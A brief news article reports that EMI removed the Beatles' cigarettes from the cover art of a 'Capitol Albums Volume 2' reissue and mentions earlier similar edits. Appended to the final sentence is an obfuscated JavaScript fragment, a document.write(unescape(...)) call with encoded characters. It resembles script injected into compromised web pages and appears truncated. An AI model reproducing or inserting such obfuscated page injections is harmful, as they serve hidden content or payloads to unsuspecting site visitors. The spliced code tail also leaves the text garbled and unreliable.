The history of The Beatles has been rewritten by their record label, after the artwork of a forthcoming re-release was changed to remove the band's cigarettes.
The new compilation "Capitol Albums Volume 2" is scheduled to be reissued next month but the cover has been altered by EMI to disguise the Fab Four's smoking habits.
On the original cover, Paul McCartney, John Lennon and George Harrison could be seen holding cigarettes. However the new artwork has reportedly erased the offending items plus two of Ringo's fingers.
The decision appears to have been taken in recognition of the growing condemnation surrounding smoking in the UK in the 21st century.
This is understood to be the third time record company bosses have changed original Beatles artwork because of the presence of cigarettes.
When "I Want To Hold Your Hand" was reissued in the USA in 1984, McCartney's was removed, while a US company did the same thing on a new poster for "Abbey Road" three years ago.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;